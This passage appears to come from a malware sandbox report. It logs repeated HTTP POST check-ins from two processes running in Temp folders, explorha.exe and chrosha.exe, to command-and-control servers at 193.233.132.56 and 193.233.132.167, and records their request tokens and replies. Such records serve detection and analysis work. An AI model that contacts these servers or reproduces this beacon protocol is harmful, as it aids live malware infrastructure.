38	192.168.2.4	49824	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:30.443080902 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:30.691998005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:30.711882114 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:30.965003014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49825	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:31.299333096 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:31.547250032 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:31.548125982 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:31.802836895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49826	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:31.363065958 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:31.612096071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:31.612725019 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:31.866297007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49827	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:32.197767973 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:32.442385912 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:32.445645094 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:32.696649075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49828	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:32.242634058 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:32.488003016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:32.489079952 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:32.738193989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49832	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:33.074229002 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:33.318948984 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:33.333441973 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:33.586030960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49833	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:33.132667065 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:33.372601032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:33.373400927 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:33.617572069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49834	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:33.995011091 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:34.240184069 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:34.242335081 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:34.490989923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49835	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:34.045705080 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:34.294223070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:34.311367035 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:34.564080954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49839	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:35.045377970 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:35.286117077 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:35.287084103 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:35.533023119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49838	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:35.045507908 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:35.296919107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:35.301829100 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:35.557437897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49842	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:35.890394926 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:36.136395931 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:36.145663977 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:36.396863937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49843	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:35.943002939 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:36.191333055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
